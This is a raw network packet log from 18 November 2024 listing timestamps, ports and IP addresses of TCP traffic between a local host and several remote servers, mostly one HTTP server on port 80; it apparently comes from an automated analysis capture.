Nov 18, 2024 00:27:56.356478930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356489897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356523037 CET	443	50010	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.356524944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356551886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356564045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356575012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356595039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356595993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356610060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356621027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356648922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356668949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356671095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356726885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356759071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356770992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356781960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356794119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356798887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356800079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356817961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356823921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356831074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356837034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356842995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356842995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356936932 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.356946945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356971025 CET	443	50010	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.357012987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357026100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357038975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357063055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357085943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357085943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357100010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357124090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357136965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357137918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357150078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357175112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357187033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357214928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357295990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357309103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357322931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357336044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357347012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357347965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357359886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357374907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357377052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357387066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357394934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357409954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357439041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357451916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357469082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357491016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357503891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357506037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357516050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357526064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357536077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357537985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357551098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357556105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357563972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357587099 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357589960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357603073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357613087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357614994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357639074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357666016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357707977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357719898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357731104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.357744932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357758045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.357775927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.358071089 CET	443	50010	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.358133078 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.359136105 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.359400034 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.359574080 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.359587908 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.359669924 CET	443	50010	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.360074997 CET	443	50009	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.360397100 CET	50009	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.360413074 CET	443	50009	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.361421108 CET	443	50009	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.361499071 CET	50009	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.362071037 CET	50009	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.362129927 CET	443	50009	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.369740009 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.369757891 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.369775057 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.369781971 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.374747038 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.374778986 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.374842882 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.375555992 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.375577927 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.395863056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.395878077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.395889997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.395932913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.395957947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.405380011 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.405395031 CET	443	50010	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.434741020 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.436551094 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.436578989 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.437222004 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.437230110 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.450862885 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.472054958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472068071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472079992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472091913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472105026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472116947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472129107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472137928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472147942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472147942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472186089 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472320080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472332001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472346067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472358942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472381115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472393036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472404957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472408056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472408056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472420931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472451925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472565889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472604036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472604990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472640038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472718000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472731113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472744942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472758055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472758055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472773075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472794056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472834110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472858906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472867012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472871065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472882986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472894907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472894907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.472925901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.472951889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473311901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473325014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473336935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473361969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473376036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473382950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473393917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473404884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473427057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473434925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473445892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473459005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473479033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473479033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473479033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473488092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473489046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473500967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473515034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473543882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473578930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473589897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473629951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473742962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473754883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473766088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473789930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473812103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473815918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473824024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473834991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473850012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473864079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473880053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473881006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473915100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473917007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473932981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473965883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473977089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.473984957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473984957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.473988056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474009991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474035978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474144936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474191904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474193096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474203110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474221945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474234104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474241018 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474245071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474270105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474281073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474417925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474487066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474529982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474776983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474788904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474801064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474824905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474843979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474855900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474867105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474877119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474888086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474890947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474905968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474910021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474919081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474920988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474935055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474939108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474946976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.474970102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474977016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.474998951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475011110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475022078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475040913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475044012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475054979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475066900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475079060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475090981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475090981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475095987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475107908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475119114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475121975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475133896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475140095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475147963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475155115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475172997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475184917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475197077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475212097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475236893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475240946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475255013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475265980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475282907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475297928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475310087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475400925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475454092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475472927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475472927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475492001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475505114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475516081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475528955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475534916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475534916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475542068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475553036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475564957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475577116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475578070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475589037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475621939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475626945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475646973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475657940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475671053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475701094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475737095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475749016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475760937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475771904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475784063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475784063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475795984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475809097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475827932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475913048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475924969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475936890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475948095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.475958109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.475969076 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.476015091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.476026058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.476036072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.476039886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.476047993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.476058006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.476059914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.476080894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.476113081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.500823021 CET	443	50013	23.198.7.179	192.168.2.6
Nov 18, 2024 00:27:56.501352072 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:56.501368046 CET	443	50013	23.198.7.179	192.168.2.6
Nov 18, 2024 00:27:56.502423048 CET	443	50013	23.198.7.179	192.168.2.6
Nov 18, 2024 00:27:56.502526999 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:56.509322882 CET	443	50011	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.509562969 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.509584904 CET	443	50011	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.509783030 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:56.509922981 CET	443	50013	23.198.7.179	192.168.2.6
Nov 18, 2024 00:27:56.510231018 CET	443	50012	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.510440111 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.510457993 CET	443	50012	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.510704041 CET	443	50011	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.510759115 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.511863947 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.511933088 CET	443	50011	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.512211084 CET	443	50012	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.512300968 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.512943029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.512996912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.513006926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.513017893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.513046980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.513078928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.513319969 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.513427973 CET	443	50012	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.549093962 CET	50009	443	192.168.2.6	23.198.7.174
